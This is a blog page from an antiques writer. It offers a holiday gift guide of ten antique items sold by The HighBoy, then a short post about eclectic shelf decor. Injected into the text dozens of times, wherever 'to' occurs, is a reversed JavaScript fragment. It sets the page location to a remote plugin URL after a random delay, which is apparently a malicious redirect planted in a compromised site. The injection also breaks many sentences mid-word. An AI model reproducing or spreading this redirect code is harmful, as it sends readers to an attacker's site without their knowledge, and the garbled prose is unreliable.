The HighBoy’s Gift Guide

Dear Diva Readers,

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 60px; line-height: 50px; padding-toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top: 1px; padding-right: 5px; font-family: times;”>With less than a month until Christmas, the count down has officially begun! While I tend toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to buy presents all year long on my travels, the big gifts tend toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be those I save until November and December.  After recently speaking on a panel in New York about The Future of Antiques with The HighBoy’s Olga Granda Scott, I asked our friends at The HighBoy toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to share some of their favorite items for sale on their site right now. Consider this your Holiday Gift Guide and get shopping for unique gifts for your loved ones…or even yourself!

The HighBoy, Olga Granda-Scott, Holiday Gift Guide, Swedish leather books,

1.  Set of six Swedish leather-bound antique books.  Who wouldn’t want toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to receive this lovely set of antique books with marbled papers? Both useful and decorative, antique books always make a lovely gift.

The HighBoy, Olga Granda-Scott, Holiday Gift Guide, Mid-Century Lucite Clock

2.  American mid-century solid lucite clock in style of Charles Hollis Jones.  For the sleek and sexy design lover, this extraordinary Mid-Century lucite clock  is magnificent in quality and design. And since the clock mechanism has recently been replaced and it works perfectly, the recipient of this piece will not miss a beat.

The HighBoy, Olga Granda-Scott, Holiday Gift Guide, Apothecary Jars

3.  Set of 3 apothecary jars.  A lovely set of three turn of the century, porcelain labeled apothecary jars would be a beautiful decorative gift. While this style of jar has been reproduced and is widely popular now, owning an original set would be quite special.

rene lalique rampillion vase, The HighBoy, Olga Granda-Scott, Holiday Gift Guide

4.  Rene Lalique “Rampillion” vase with blue patina.  This lovely “Rampillion” Vase with a blue patina would be an ideal present for a collectoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor or anyone with discerning taste. Divided by thickly cast glass diamonds and a floral pattern, the effect is one of visual texture. This vase still retains it’s beautiful blue patina that stains the floral pattern. Fill it with flowers all year long for the gift that keeps on giving.

The HighBoy, Olga Granda-Scott, Holiday Gift Guide, Ice Bucket, Drulane

5.  Hollywood Regency glossy black and gold ice bucket by Drulane.  This lovely Hollywood Regency glossy black and gold ice bucket is by Drulane – c. 1960-70 – and, a must-have for the upcoming holiday party season. It is a class act with a gold handle accented by black insert and a very regency ribbing design! It offers a glossy black exterior, gold trimming around rim and handle and a clear lucite lid toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}topped off with gold ball- the ideal piece for the elegant hostess!

The HighBoy, Olga Granda-Scott, Holiday Gift Guide, Jardiniere

6.  French gilt bronze mounted turquoise blue earthenware jardiniere.  This elegant jardiniere in style of Theodore Dek would make a very special gift. With it’s classic style, it certainly will become an heirloom toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to whoever receives it.

pair-of-leather-and-brass-horsehead-bookends, The HighBoy, Olga Granda-Scott, Holiday Gift Guide

7.  Pair of leather and brass horse head bookends signed “Asprey”.  For the man who appreciates quality (or the equestrian lady), this pair of stately bookends would be the perfect gift. In the study, den or at the office, this pair will add instant class.

The HighBoy, Olga Granda-Scott, Holiday Gift Guide, Grand Tour Antiquity

8.  Grand Tour toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tour-antiquity-greek-oinochoe-form-vessel-with-black-painted-figures” target=”_blank”>“Antiquity” Greek oinochoe form vessel with black painted figures.  This beautiful and highly decorative European Grand Tour pottery wine vessel with black hand painted figures from Greek mythology is certainly a unique piece. The vase has been intentionally damaged and pieced back toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}together using rather overt restoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toration techniques in order toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to give it a more “authentic ancient” feel. Interestingly, it was probably originally sold toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to an unsuspecting American toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tourist in the late 19th c. as a genuine antiquity. However it would make a great gift toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to someone who appreciates histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory.

The HighBoy, Olga Granda-Scott, Holiday Gift Guide, Sandor bracelet

9.  1950’s Sandor bracelet.  Give the gift of elegance with this 1950’s Unsigned Sandor Bracelet in Bronze/Gold toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tones. Woven metal chain makes up the base of the Bracelet, with the center holding a Topaz colored stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tone surrounded by Clear Rhinestoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tones. The sides of the Bracelet have a raised band of Clear Rhinestoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tones as well.

The HighBoy, Olga Granda-Scott, Holiday Gift Guide, Art Nouveau bronze

10. Fine Art Nouveau figural bronze of a “Scantilly Dressed Woman” by P. Tereszczuk.  For the person who appreciates beauty, this Art Nouveau bronze with outstretched arm holding a pair of game birds would make a nice addition toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to a collection.

I hope this Gift Guide from The HighBoy inspires you toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to start your Christmas shopping! This year, make gifts personal and buy antiques!

Happy shopping,

The Antiques Diva®

Say Cheese! It’s Another Shelfie

Swedish Rococo secretaire, Shelfie, antique coral, taxidermied doves, apothecary jars, silver cache pots, vintage ink wells

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 60px; line-height: 50px; padding-toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top: 1px; padding-right: 5px; font-family: times;”>In honor of yesterday’s dental appointment we’re discussing eclecticism in home decorating.  Tucked intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to one of the shelves in the Swedish Rococo secretaire in the corner of my living room I’ve displayed my dental mold on a shelf along with antique, leather-bound books and an inkwell.  I liked the way the white popped against the red shelves.  And while I thought this was a humorous accent I think my husband might just think it’s creepy!  Other shelves hold more antique coral, taxidermied doves, apothecary jars, silver cache pots and shells gathered on long ago vacations.   What are the eclectic toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}touches you do in your home décor?

The Antiques Diva ®